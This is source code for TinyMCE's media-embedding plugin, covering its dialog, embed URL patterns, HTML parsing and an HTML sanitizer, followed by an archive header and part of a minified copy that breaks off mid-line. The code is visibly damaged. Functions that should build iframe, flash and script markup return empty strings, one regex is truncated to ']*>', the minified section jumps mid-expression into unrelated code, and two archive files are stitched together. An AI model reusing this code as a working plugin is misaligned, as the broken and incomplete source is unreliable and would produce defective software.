tinymce.util.Tools.resolve('tinymce.Env'); var global$2 = tinymce.util.Tools.resolve('tinymce.util.Tools'); var getScripts = function (editor) { return editor.getParam('media_scripts'); }; var getAudioTemplateCallback = function (editor) { return editor.getParam('audio_template_callback'); }; var getVideoTemplateCallback = function (editor) { return editor.getParam('video_template_callback'); }; var hasLiveEmbeds = function (editor) { return editor.getParam('media_live_embeds', true); }; var shouldFilterHtml = function (editor) { return editor.getParam('media_filter_html', true); }; var getUrlResolver = function (editor) { return editor.getParam('media_url_resolver'); }; var hasAltSource = function (editor) { return editor.getParam('media_alt_source', true); }; var hasPoster = function (editor) { return editor.getParam('media_poster', true); }; var hasDimensions = function (editor) { return editor.getParam('media_dimensions', true); }; var Settings = { getScripts: getScripts, getAudioTemplateCallback: getAudioTemplateCallback, getVideoTemplateCallback: getVideoTemplateCallback, hasLiveEmbeds: hasLiveEmbeds, shouldFilterHtml: shouldFilterHtml, getUrlResolver: getUrlResolver, hasAltSource: hasAltSource, hasPoster: hasPoster, hasDimensions: hasDimensions }; var Cell = function (initial) { var value = initial; var get = function () { return value; }; var set = function (v) { value = v; }; var clone = function () { return Cell(get()); }; return { get: get, set: set, clone: clone }; }; var noop = function () { }; var constant = function (value) { return function () { return value; }; }; var never = constant(false); var always = constant(true); var none = function () { return NONE; }; var NONE = function () { var eq = function (o) { return o.isNone(); }; var call = function (thunk) { return thunk(); }; var id = function (n) { return n; }; var me = { fold: function (n, s) { return n(); }, is: never, isSome: never, isNone: always, getOr: id, getOrThunk: call, getOrDie: function (msg) { throw new Error(msg || 'error: getOrDie called on none.'); }, getOrNull: constant(null), getOrUndefined: constant(undefined), or: id, orThunk: call, map: none, each: noop, bind: none, exists: never, forall: always, filter: none, equals: eq, equals_: eq, toArray: function () { return []; }, toString: constant('none()') }; if (Object.freeze) { Object.freeze(me); } return me; }(); var some = function (a) { var constant_a = constant(a); var self = function () { return me; }; var bind = function (f) { return f(a); }; var me = { fold: function (n, s) { return s(a); }, is: function (v) { return a === v; }, isSome: always, isNone: never, getOr: constant_a, getOrThunk: constant_a, getOrDie: constant_a, getOrNull: constant_a, getOrUndefined: constant_a, or: self, orThunk: self, map: function (f) { return some(f(a)); }, each: function (f) { f(a); }, bind: bind, exists: bind, forall: bind, filter: function (f) { return f(a) ? me : NONE; }, toArray: function () { return [a]; }, toString: function () { return 'some(' + a + ')'; }, equals: function (o) { return o.is(a); }, equals_: function (o, elementEq) { return o.fold(never, function (b) { return elementEq(a, b); }); } }; return me; }; var from = function (value) { return value === null || value === undefined ? NONE : some(value); }; var Option = { some: some, none: none, from: from }; var hasOwnProperty = Object.hasOwnProperty; var get = function (obj, key) { return has(obj, key) ? Option.from(obj[key]) : Option.none(); }; var has = function (obj, key) { return hasOwnProperty.call(obj, key); }; var global$3 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils'); var global$4 = tinymce.util.Tools.resolve('tinymce.html.SaxParser'); var getVideoScriptMatch = function (prefixes, src) { if (prefixes) { for (var i = 0; i < prefixes.length; i++) { if (src.indexOf(prefixes[i].filter) !== -1) { return prefixes[i]; } } } }; var VideoScript = { getVideoScriptMatch: getVideoScriptMatch }; var DOM = global$3.DOM; var trimPx = function (value) { return value.replace(/px$/, ''); }; var getEphoxEmbedData = function (attrs) { var style = attrs.map.style; var styles = style ? DOM.parseStyle(style) : {}; return { type: 'ephox-embed-iri', source1: attrs.map['data-ephox-embed-iri'], source2: '', poster: '', width: get(styles, 'max-width').map(trimPx).getOr(''), height: get(styles, 'max-height').map(trimPx).getOr('') }; }; var htmlToData = function (prefixes, html) { var isEphoxEmbed = Cell(false); var data = {}; global$4({ validate: false, allow_conditional_comments: true, special: 'script,noscript', start: function (name, attrs) { if (isEphoxEmbed.get()) ; else if (has(attrs.map, 'data-ephox-embed-iri')) { isEphoxEmbed.set(true); data = getEphoxEmbedData(attrs); } else { if (!data.source1 && name === 'param') { data.source1 = attrs.map.movie; } if (name === 'iframe' || name === 'object' || name === 'embed' || name === 'video' || name === 'audio') { if (!data.type) { data.type = name; } data = global$2.extend(attrs.map, data); } if (name === 'script') { var videoScript = VideoScript.getVideoScriptMatch(prefixes, attrs.map.src); if (!videoScript) { return; } data = { type: 'script', source1: attrs.map.src, width: videoScript.width, height: videoScript.height }; } if (name === 'source') { if (!data.source1) { data.source1 = attrs.map.src; } else if (!data.source2) { data.source2 = attrs.map.src; } } if (name === 'img' && !data.poster) { data.poster = attrs.map.src; } } } }).parse(html); data.source1 = data.source1 || data.src || data.data; data.source2 = data.source2 || ''; data.poster = data.poster || ''; return data; }; var HtmlToData = { htmlToData: htmlToData }; var global$5 = tinymce.util.Tools.resolve('tinymce.util.Promise'); var guess = function (url) { var mimes = { mp3: 'audio/mpeg', wav: 'audio/wav', mp4: 'video/mp4', webm: 'video/webm', ogg: 'video/ogg', swf: 'application/x-shockwave-flash' }; var fileEnd = url.toLowerCase().split('.').pop(); var mime = mimes[fileEnd]; return mime ? mime : ''; }; var Mime = { guess: guess }; var global$6 = tinymce.util.Tools.resolve('tinymce.html.Schema'); var global$7 = tinymce.util.Tools.resolve('tinymce.html.Writer'); var DOM$1 = global$3.DOM; var addPx = function (value) { return /^[0-9.]+$/.test(value) ? value + 'px' : value; }; var setAttributes = function (attrs, updatedAttrs) { for (var name in updatedAttrs) { var value = '' + updatedAttrs[name]; if (attrs.map[name]) { var i = attrs.length; while (i--) { var attr = attrs[i]; if (attr.name === name) { if (value) { attrs.map[name] = value; attr.value = value; } else { delete attrs.map[name]; attrs.splice(i, 1); } } } } else if (value) { attrs.push({ name: name, value: value }); attrs.map[name] = value; } } }; var updateEphoxEmbed = function (data, attrs) { var style = attrs.map.style; var styleMap = style ? DOM$1.parseStyle(style) : {}; styleMap['max-width'] = addPx(data.width); styleMap['max-height'] = addPx(data.height); setAttributes(attrs, { style: DOM$1.serializeStyle(styleMap) }); }; var updateHtml = function (html, data, updateAll) { var writer = global$7(); var isEphoxEmbed = Cell(false); var sourceCount = 0; var hasImage; global$4({ validate: false, allow_conditional_comments: true, special: 'script,noscript', comment: function (text) { writer.comment(text); }, cdata: function (text) { writer.cdata(text); }, text: function (text, raw) { writer.text(text, raw); }, start: function (name, attrs, empty) { if (isEphoxEmbed.get()) ; else if (has(attrs.map, 'data-ephox-embed-iri')) { isEphoxEmbed.set(true); updateEphoxEmbed(data, attrs); } else { switch (name) { case 'video': case 'object': case 'embed': case 'img': case 'iframe': if (data.height !== undefined && data.width !== undefined) { setAttributes(attrs, { width: data.width, height: data.height }); } break; } if (updateAll) { switch (name) { case 'video': setAttributes(attrs, { poster: data.poster, src: '' }); if (data.source2) { setAttributes(attrs, { src: '' }); } break; case 'iframe': setAttributes(attrs, { src: data.source1 }); break; case 'source': sourceCount++; if (sourceCount <= 2) { setAttributes(attrs, { src: data['source' + sourceCount], type: data['source' + sourceCount + 'mime'] }); if (!data['source' + sourceCount]) { return; } } break; case 'img': if (!data.poster) { return; } hasImage = true; break; } } } writer.start(name, attrs, empty); }, end: function (name) { if (!isEphoxEmbed.get()) { if (name === 'video' && updateAll) { for (var index = 1; index <= 2; index++) { if (data['source' + index]) { var attrs = []; attrs.map = {}; if (sourceCount < index) { setAttributes(attrs, { src: data['source' + index], type: data['source' + index + 'mime'] }); writer.start('source', attrs, true); } } } } if (data.poster && name === 'object' && updateAll && !hasImage) { var imgAttrs = []; imgAttrs.map = {}; setAttributes(imgAttrs, { src: data.poster, width: data.width, height: data.height }); writer.start('img', imgAttrs, true); } } writer.end(name); } }, global$6({})).parse(html); return writer.getContent(); }; var UpdateHtml = { updateHtml: updateHtml }; var urlPatterns = [ { regex: /youtu\.be\/([\w\-_\?&=.]+)/i, type: 'iframe', w: 560, h: 314, url: '//www.youtube.com/embed/$1', allowFullscreen: true }, { regex: /youtube\.com(.+)v=([^&]+)(&([a-z0-9&=\-_]+))?/i, type: 'iframe', w: 560, h: 314, url: '//www.youtube.com/embed/$2?$4', allowFullscreen: true }, { regex: /youtube.com\/embed\/([a-z0-9\?&=\-_]+)/i, type: 'iframe', w: 560, h: 314, url: '//www.youtube.com/embed/$1', allowFullscreen: true }, { regex: /vimeo\.com\/([0-9]+)/, type: 'iframe', w: 425, h: 350, url: '//player.vimeo.com/video/$1?title=0&byline=0&portrait=0&color=8dc7dc', allowFullscreen: true }, { regex: /vimeo\.com\/(.*)\/([0-9]+)/, type: 'iframe', w: 425, h: 350, url: '//player.vimeo.com/video/$2?title=0&byline=0', allowFullscreen: true }, { regex: /maps\.google\.([a-z]{2,3})\/maps\/(.+)msid=(.+)/, type: 'iframe', w: 425, h: 350, url: '//maps.google.com/maps/ms?msid=$2&output=embed"', allowFullscreen: false }, { regex: /dailymotion\.com\/video\/([^_]+)/, type: 'iframe', w: 480, h: 270, url: '//www.dailymotion.com/embed/video/$1', allowFullscreen: true }, { regex: /dai\.ly\/([^_]+)/, type: 'iframe', w: 480, h: 270, url: '//www.dailymotion.com/embed/video/$1', allowFullscreen: true } ]; var getUrl = function (pattern, url) { var match = pattern.regex.exec(url); var newUrl = pattern.url; var _loop_1 = function (i) { newUrl = newUrl.replace('$' + i, function () { return match[i] ? match[i] : ''; }); }; for (var i = 0; i < match.length; i++) { _loop_1(i); } return newUrl.replace(/\?$/, ''); }; var matchPattern = function (url) { var pattern = urlPatterns.filter(function (pattern) { return pattern.regex.test(url); }); if (pattern.length > 0) { return global$2.extend({}, pattern[0], { url: getUrl(pattern[0], url) }); } else { return null; } }; var getIframeHtml = function (data) { var allowFullscreen = data.allowFullscreen ? ' allowFullscreen="1"' : ''; return ''; }; var getFlashHtml = function (data) { var html = ''; if (data.poster) { html += ''; } html += ''; return html; }; var getAudioHtml = function (data, audioTemplateCallback) { if (audioTemplateCallback) { return audioTemplateCallback(data); } else { return ''; } }; var getVideoHtml = function (data, videoTemplateCallback) { if (videoTemplateCallback) { return videoTemplateCallback(data); } else { return ''; } }; var getScriptHtml = function (data) { return ''; }; var dataToHtml = function (editor, dataIn) { var data = global$2.extend({}, dataIn); if (!data.source1) { global$2.extend(data, HtmlToData.htmlToData(Settings.getScripts(editor), data.embed)); if (!data.source1) { return ''; } } if (!data.source2) { data.source2 = ''; } if (!data.poster) { data.poster = ''; } data.source1 = editor.convertURL(data.source1, 'source'); data.source2 = editor.convertURL(data.source2, 'source'); data.source1mime = Mime.guess(data.source1); data.source2mime = Mime.guess(data.source2); data.poster = editor.convertURL(data.poster, 'poster'); var pattern = matchPattern(data.source1); if (pattern) { data.source1 = pattern.url; data.type = pattern.type; data.allowFullscreen = pattern.allowFullscreen; data.width = data.width || pattern.w; data.height = data.height || pattern.h; } if (data.embed) { return UpdateHtml.updateHtml(data.embed, data, true); } else { var videoScript = VideoScript.getVideoScriptMatch(Settings.getScripts(editor), data.source1); if (videoScript) { data.type = 'script'; data.width = videoScript.width; data.height = videoScript.height; } var audioTemplateCallback = Settings.getAudioTemplateCallback(editor); var videoTemplateCallback = Settings.getVideoTemplateCallback(editor); data.width = data.width || 300; data.height = data.height || 150; global$2.each(data, function (value, key) { data[key] = editor.dom.encode(value); }); if (data.type === 'iframe') { return getIframeHtml(data); } else if (data.source1mime === 'application/x-shockwave-flash') { return getFlashHtml(data); } else if (data.source1mime.indexOf('audio') !== -1) { return getAudioHtml(data, audioTemplateCallback); } else if (data.type === 'script') { return getScriptHtml(data); } else { return getVideoHtml(data, videoTemplateCallback); } } }; var DataToHtml = { dataToHtml: dataToHtml }; var cache = {}; var embedPromise = function (data, dataToHtml, handler) { return new global$5(function (res, rej) { var wrappedResolve = function (response) { if (response.html) { cache[data.source1] = response; } return res({ url: data.source1, html: response.html ? response.html : dataToHtml(data) }); }; if (cache[data.source1]) { wrappedResolve(cache[data.source1]); } else { handler({ url: data.source1 }, wrappedResolve, rej); } }); }; var defaultPromise = function (data, dataToHtml) { return new global$5(function (res) { res({ html: dataToHtml(data), url: data.source1 }); }); }; var loadedData = function (editor) { return function (data) { return DataToHtml.dataToHtml(editor, data); }; }; var getEmbedHtml = function (editor, data) { var embedHandler = Settings.getUrlResolver(editor); return embedHandler ? embedPromise(data, loadedData(editor), embedHandler) : defaultPromise(data, loadedData(editor)); }; var isCached = function (url) { return cache.hasOwnProperty(url); }; var Service = { getEmbedHtml: getEmbedHtml, isCached: isCached }; var trimPx$1 = function (value) { return value.replace(/px$/, ''); }; var addPx$1 = function (value) { return /^[0-9.]+$/.test(value) ? value + 'px' : value; }; var getSize = function (name) { return function (elm) { return elm ? trimPx$1(elm.style[name]) : ''; }; }; var setSize = function (name) { return function (elm, value) { if (elm) { elm.style[name] = addPx$1(value); } }; }; var Size = { getMaxWidth: getSize('maxWidth'), getMaxHeight: getSize('maxHeight'), setMaxWidth: setSize('maxWidth'), setMaxHeight: setSize('maxHeight') }; var doSyncSize = function (widthCtrl, heightCtrl) { widthCtrl.state.set('oldVal', widthCtrl.value()); heightCtrl.state.set('oldVal', heightCtrl.value()); }; var doSizeControls = function (win, f) { var widthCtrl = win.find('#width')[0]; var heightCtrl = win.find('#height')[0]; var constrained = win.find('#constrain')[0]; if (widthCtrl && heightCtrl && constrained) { f(widthCtrl, heightCtrl, constrained.checked()); } }; var doUpdateSize = function (widthCtrl, heightCtrl, isContrained) { var oldWidth = widthCtrl.state.get('oldVal'); var oldHeight = heightCtrl.state.get('oldVal'); var newWidth = widthCtrl.value(); var newHeight = heightCtrl.value(); if (isContrained && oldWidth && oldHeight && newWidth && newHeight) { if (newWidth !== oldWidth) { newHeight = Math.round(newWidth / oldWidth * newHeight); if (!isNaN(newHeight)) { heightCtrl.value(newHeight); } } else { newWidth = Math.round(newHeight / oldHeight * newWidth); if (!isNaN(newWidth)) { widthCtrl.value(newWidth); } } } doSyncSize(widthCtrl, heightCtrl); }; var syncSize = function (win) { doSizeControls(win, doSyncSize); }; var updateSize = function (win) { doSizeControls(win, doUpdateSize); }; var createUi = function (onChange) { var recalcSize = function () { onChange(function (win) { updateSize(win); }); }; return { type: 'container', label: 'Dimensions', layout: 'flex', align: 'center', spacing: 5, items: [ { name: 'width', type: 'textbox', maxLength: 5, size: 5, onchange: recalcSize, ariaLabel: 'Width' }, { type: 'label', text: 'x' }, { name: 'height', type: 'textbox', maxLength: 5, size: 5, onchange: recalcSize, ariaLabel: 'Height' }, { name: 'constrain', type: 'checkbox', checked: true, text: 'Constrain proportions' } ] }; }; var SizeManager = { createUi: createUi, syncSize: syncSize, updateSize: updateSize }; var embedChange = global$1.ie && global$1.ie <= 8 ? 'onChange' : 'onInput'; var handleError = function (editor) { return function (error) { var errorMessage = error && error.msg ? 'Media embed handler error: ' + error.msg : 'Media embed handler threw unknown error.'; editor.notificationManager.open({ type: 'error', text: errorMessage }); }; }; var getData = function (editor) { var element = editor.selection.getNode(); var dataEmbed = element.getAttribute('data-ephox-embed-iri'); if (dataEmbed) { return { 'source1': dataEmbed, 'data-ephox-embed-iri': dataEmbed, 'width': Size.getMaxWidth(element), 'height': Size.getMaxHeight(element) }; } return element.getAttribute('data-mce-object') ? HtmlToData.htmlToData(Settings.getScripts(editor), editor.serializer.serialize(element, { selection: true })) : {}; }; var getSource = function (editor) { var elm = editor.selection.getNode(); if (elm.getAttribute('data-mce-object') || elm.getAttribute('data-ephox-embed-iri')) { return editor.selection.getContent(); } }; var addEmbedHtml = function (win, editor) { return function (response) { var html = response.html; var embed = win.find('#embed')[0]; var data = global$2.extend(HtmlToData.htmlToData(Settings.getScripts(editor), html), { source1: response.url }); win.fromJSON(data); if (embed) { embed.value(html); SizeManager.updateSize(win); } }; }; var selectPlaceholder = function (editor, beforeObjects) { var i; var y; var afterObjects = editor.dom.select('img[data-mce-object]'); for (i = 0; i < beforeObjects.length; i++) { for (y = afterObjects.length - 1; y >= 0; y--) { if (beforeObjects[i] === afterObjects[y]) { afterObjects.splice(y, 1); } } } editor.selection.select(afterObjects[0]); }; var handleInsert = function (editor, html) { var beforeObjects = editor.dom.select('img[data-mce-object]'); editor.insertContent(html); selectPlaceholder(editor, beforeObjects); editor.nodeChanged(); }; var submitForm = function (win, editor) { var data = win.toJSON(); data.embed = UpdateHtml.updateHtml(data.embed, data); if (data.embed && Service.isCached(data.source1)) { handleInsert(editor, data.embed); } else { Service.getEmbedHtml(editor, data).then(function (response) { handleInsert(editor, response.html); }).catch(handleError(editor)); } }; var populateMeta = function (win, meta) { global$2.each(meta, function (value, key) { win.find('#' + key).value(value); }); }; var showDialog = function (editor) { var win; var data; var generalFormItems = [{ name: 'source1', type: 'filepicker', filetype: 'media', size: 40, autofocus: true, label: 'Source', onpaste: function () { setTimeout(function () { Service.getEmbedHtml(editor, win.toJSON()).then(addEmbedHtml(win, editor)).catch(handleError(editor)); }, 1); }, onchange: function (e) { Service.getEmbedHtml(editor, win.toJSON()).then(addEmbedHtml(win, editor)).catch(handleError(editor)); populateMeta(win, e.meta); }, onbeforecall: function (e) { e.meta = win.toJSON(); } }]; var advancedFormItems = []; var reserialise = function (update) { update(win); data = win.toJSON(); win.find('#embed').value(UpdateHtml.updateHtml(data.embed, data)); }; if (Settings.hasAltSource(editor)) { advancedFormItems.push({ name: 'source2', type: 'filepicker', filetype: 'media', size: 40, label: 'Alternative source' }); } if (Settings.hasPoster(editor)) { advancedFormItems.push({ name: 'poster', type: 'filepicker', filetype: 'image', size: 40, label: 'Poster' }); } if (Settings.hasDimensions(editor)) { var control = SizeManager.createUi(reserialise); generalFormItems.push(control); } data = getData(editor); var embedTextBox = { id: 'mcemediasource', type: 'textbox', flex: 1, name: 'embed', value: getSource(editor), multiline: true, rows: 5, label: 'Source' }; var updateValueOnChange = function () { data = global$2.extend({}, HtmlToData.htmlToData(Settings.getScripts(editor), this.value())); this.parent().parent().fromJSON(data); }; embedTextBox[embedChange] = updateValueOnChange; var body = [ { title: 'General', type: 'form', items: generalFormItems }, { title: 'Embed', type: 'container', layout: 'flex', direction: 'column', align: 'stretch', padding: 10, spacing: 10, items: [ { type: 'label', text: 'Paste your embed code below:', forId: 'mcemediasource' }, embedTextBox ] } ]; if (advancedFormItems.length > 0) { body.push({ title: 'Advanced', type: 'form', items: advancedFormItems }); } win = editor.windowManager.open({ title: 'Insert/edit media', data: data, bodyType: 'tabpanel', body: body, onSubmit: function () { SizeManager.updateSize(win); submitForm(win, editor); } }); SizeManager.syncSize(win); }; var Dialog = { showDialog: showDialog }; var get$1 = function (editor) { var showDialog = function () { Dialog.showDialog(editor); }; return { showDialog: showDialog }; }; var Api = { get: get$1 }; var register = function (editor) { var showDialog = function () { Dialog.showDialog(editor); }; editor.addCommand('mceMedia', showDialog); }; var Commands = { register: register }; var global$8 = tinymce.util.Tools.resolve('tinymce.html.Node'); var sanitize = function (editor, html) { if (Settings.shouldFilterHtml(editor) === false) { return html; } var writer = global$7(); var blocked; global$4({ validate: false, allow_conditional_comments: false, special: 'script,noscript', comment: function (text) { writer.comment(text); }, cdata: function (text) { writer.cdata(text); }, text: function (text, raw) { writer.text(text, raw); }, start: function (name, attrs, empty) { blocked = true; if (name === 'script' || name === 'noscript' || name === 'svg') { return; } for (var i = attrs.length - 1; i >= 0; i--) { var attrName = attrs[i].name; if (attrName.indexOf('on') === 0) { delete attrs.map[attrName]; attrs.splice(i, 1); } if (attrName === 'style') { attrs[i].value = editor.dom.serializeStyle(editor.dom.parseStyle(attrs[i].value), name); } } writer.start(name, attrs, empty); blocked = false; }, end: function (name) { if (blocked) { return; } writer.end(name); } }, global$6({})).parse(html); return writer.getContent(); }; var Sanitize = { sanitize: sanitize }; var createPlaceholderNode = function (editor, node) { var placeHolder; var name = node.name; placeHolder = new global$8('img', 1); placeHolder.shortEnded = true; retainAttributesAndInnerHtml(editor, node, placeHolder); placeHolder.attr({ 'width': node.attr('width') || '300', 'height': node.attr('height') || (name === 'audio' ? '30' : '150'), 'style': node.attr('style'), 'src': global$1.transparentSrc, 'data-mce-object': name, 'class': 'mce-object mce-object-' + name }); return placeHolder; }; var createPreviewIframeNode = function (editor, node) { var previewWrapper; var previewNode; var shimNode; var name = node.name; previewWrapper = new global$8('span', 1); previewWrapper.attr({ 'contentEditable': 'false', 'style': node.attr('style'), 'data-mce-object': name, 'class': 'mce-preview-object mce-object-' + name }); retainAttributesAndInnerHtml(editor, node, previewWrapper); previewNode = new global$8(name, 1); previewNode.attr({ src: node.attr('src'), allowfullscreen: node.attr('allowfullscreen'), style: node.attr('style'), class: node.attr('class'), width: node.attr('width'), height: node.attr('height'), frameborder: '0' }); shimNode = new global$8('span', 1); shimNode.attr('class', 'mce-shim'); previewWrapper.append(previewNode); previewWrapper.append(shimNode); return previewWrapper; }; var retainAttributesAndInnerHtml = function (editor, sourceNode, targetNode) { var attrName; var attrValue; var attribs; var ai; var innerHtml; attribs = sourceNode.attributes; ai = attribs.length; while (ai--) { attrName = attribs[ai].name; attrValue = attribs[ai].value; if (attrName !== 'width' && attrName !== 'height' && attrName !== 'style') { if (attrName === 'data' || attrName === 'src') { attrValue = editor.convertURL(attrValue, attrName); } targetNode.attr('data-mce-p-' + attrName, attrValue); } } innerHtml = sourceNode.firstChild && sourceNode.firstChild.value; if (innerHtml) { targetNode.attr('data-mce-html', escape(Sanitize.sanitize(editor, innerHtml))); targetNode.firstChild = null; } }; var isWithinEphoxEmbed = function (node) { while (node = node.parent) { if (node.attr('data-ephox-embed-iri')) { return true; } } return false; }; var placeHolderConverter = function (editor) { return function (nodes) { var i = nodes.length; var node; var videoScript; while (i--) { node = nodes[i]; if (!node.parent) { continue; } if (node.parent.attr('data-mce-object')) { continue; } if (node.name === 'script') { videoScript = VideoScript.getVideoScriptMatch(Settings.getScripts(editor), node.attr('src')); if (!videoScript) { continue; } } if (videoScript) { if (videoScript.width) { node.attr('width', videoScript.width.toString()); } if (videoScript.height) { node.attr('height', videoScript.height.toString()); } } if (node.name === 'iframe' && Settings.hasLiveEmbeds(editor) && global$1.ceFalse) { if (!isWithinEphoxEmbed(node)) { node.replace(createPreviewIframeNode(editor, node)); } } else { if (!isWithinEphoxEmbed(node)) { node.replace(createPlaceholderNode(editor, node)); } } } }; }; var Nodes = { createPreviewIframeNode: createPreviewIframeNode, createPlaceholderNode: createPlaceholderNode, placeHolderConverter: placeHolderConverter }; var setup = function (editor) { editor.on('preInit', function () { var specialElements = editor.schema.getSpecialElements(); global$2.each('video audio iframe object'.split(' '), function (name) { specialElements[name] = new RegExp(']*>', 'gi'); }); var boolAttrs = editor.schema.getBoolAttrs(); global$2.each('webkitallowfullscreen mozallowfullscreen allowfullscreen'.split(' '), function (name) { boolAttrs[name] = {}; }); editor.parser.addNodeFilter('iframe,video,audio,object,embed,script', Nodes.placeHolderConverter(editor)); editor.serializer.addAttributeFilter('data-mce-object', function (nodes, name) { var i = nodes.length; var node; var realElm; var ai; var attribs; var innerHtml; var innerNode; var realElmName; var className; while (i--) { node = nodes[i]; if (!node.parent) { continue; } realElmName = node.attr(name); realElm = new global$8(realElmName, 1); if (realElmName !== 'audio' && realElmName !== 'script') { className = node.attr('class'); if (className && className.indexOf('mce-preview-object') !== -1) { realElm.attr({ width: node.firstChild.attr('width'), height: node.firstChild.attr('height') }); } else { realElm.attr({ width: node.attr('width'), height: node.attr('height') }); } } realElm.attr({ style: node.attr('style') }); attribs = node.attributes; ai = attribs.length; while (ai--) { var attrName = attribs[ai].name; if (attrName.indexOf('data-mce-p-') === 0) { realElm.attr(attrName.substr(11), attribs[ai].value); } } if (realElmName === 'script') { realElm.attr('type', 'text/javascript'); } innerHtml = node.attr('data-mce-html'); if (innerHtml) { innerNode = new global$8('#text', 3); innerNode.raw = true; innerNode.value = Sanitize.sanitize(editor, unescape(innerHtml)); realElm.append(innerNode); } node.replace(realElm); } }); }); editor.on('setContent', function () { editor.$('span.mce-preview-object').each(function (index, elm) { var $elm = editor.$(elm); if ($elm.find('span.mce-shim', elm).length === 0) { $elm.append(''); } }); }); }; var FilterContent = { setup: setup }; var setup$1 = function (editor) { editor.on('ResolveName', function (e) { var name; if (e.target.nodeType === 1 && (name = e.target.getAttribute('data-mce-object'))) { e.name = name; } }); }; var ResolveName = { setup: setup$1 }; var setup$2 = function (editor) { editor.on('click keyup', function () { var selectedNode = editor.selection.getNode(); if (selectedNode && editor.dom.hasClass(selectedNode, 'mce-preview-object')) { if (editor.dom.getAttrib(selectedNode, 'data-mce-selected')) { selectedNode.setAttribute('data-mce-selected', '2'); } } }); editor.on('ObjectSelected', function (e) { var objectType = e.target.getAttribute('data-mce-object'); if (objectType === 'audio' || objectType === 'script') { e.preventDefault(); } }); editor.on('objectResized', function (e) { var target = e.target; var html; if (target.getAttribute('data-mce-object')) { html = target.getAttribute('data-mce-html'); if (html) { html = unescape(html); target.setAttribute('data-mce-html', escape(UpdateHtml.updateHtml(html, { width: e.width, height: e.height }))); } } }); }; var Selection = { setup: setup$2 }; var register$1 = function (editor) { editor.addButton('media', { tooltip: 'Insert/edit media', cmd: 'mceMedia', stateSelector: [ 'img[data-mce-object]', 'span[data-mce-object]', 'div[data-ephox-embed-iri]' ] }); editor.addMenuItem('media', { icon: 'media', text: 'Media', cmd: 'mceMedia', context: 'insert', prependToContext: true }); }; var Buttons = { register: register$1 }; global.add('media', function (editor) { Commands.register(editor); Buttons.register(editor); ResolveName.setup(editor); FilterContent.setup(editor); Selection.setup(editor); return Api.get(editor); }); function Plugin () { } return Plugin; }()); })(); plugin.min.js000064400000040300151223611640007160 0ustar00!function(){"use strict";var e,t,r,n,i=tinymce.util.Tools.resolve("tinymce.PluginManager"),o=tinymce.util.Tools.resolve("tinymce.Env"),v=tinymce.util.Tools.resolve("tinymce.util.Tools"),w=function(e){return e.getParam("media_scripts")},b=function(e){return e.getParam("audio_template_callback")},y=function(e){return e.getParam("video_template_callback")},a=function(e){return e.getParam("media_live_embeds",!0)},u=function(e){return e.getParam("media_filter_html",!0)},s=function(e){return e.getParam("media_url_resolver")},m=function(e){return e.getParam("media_alt_source",!0)},d=function(e){return e.getParam("media_poster",!0)},h=function(e){return e.getParam("media_dimensions",!0)},f=function(e){var t=e,r=function(){return t};return{get:r,set:function(e){t=e},clone:function(){return f(r())}}},c=function(){},l=function(e){return function(){return e}},p=l(!1),g=l(!0),x=function(){return O},O=(e=function(e){return e.isNone()},n={fold:function(e,t){return e()},is:p,isSome:p,isNone:g,getOr:r=function(e){return e},getOrThunk:t=function(e){return e()},getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:l(null),getOrUndefined:l(undefined),or:r,orThunk:t,map:x,each:c,bind:x,exists:p,forall:g,filter:x,equals:e,equals_:e,toArray:function(){return[]},toString:l("none()")},Object.freeze&&Object.freeze(n),n),j=function(r){var e=l(r),t=function(){return i},n=function(e){return e(r)},i={fold:function(e,t){return t(r)},is:function(e){return r===e},isSome:g,isNone:p,getOr:e,getOrThunk:e,getOrDie:e,getOrNull:e,getOrUndefined:e,or:t,orThunk:t,map:function(e){return j(e(r))},each:function(e){e(r)},bind:n,exists:n,forall:n,filter:function(e){return e(r)?i:O},toArray:function(){return[r]},toString:function(){return"some("+r+")"},equals:function(e){return e.is(r)},equals_:function(e,t){return e.fold(p,function(e){return t(r,e)})}};return i},_=x,S=function(e){return null===e||e===undefined?O:j(e)},k=Object.hasOwnProperty,N=function(e,t){return M(e,t)?S(e[t]):_()},M=function(e,t){return k.call(e,t)},T=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),z=tinymce.util.Tools.resolve("tinymce.html.SaxParser"),A=function(e,t){if(e)for(var r=0;r"):"application/x-shockwave-flash"===n.source1mime?(d='',m.poster&&(d+=''),d+=""):-1!==n.source1mime.indexOf("audio")?(s=n,(l=p)?l(s):'"):"script"===n.type?'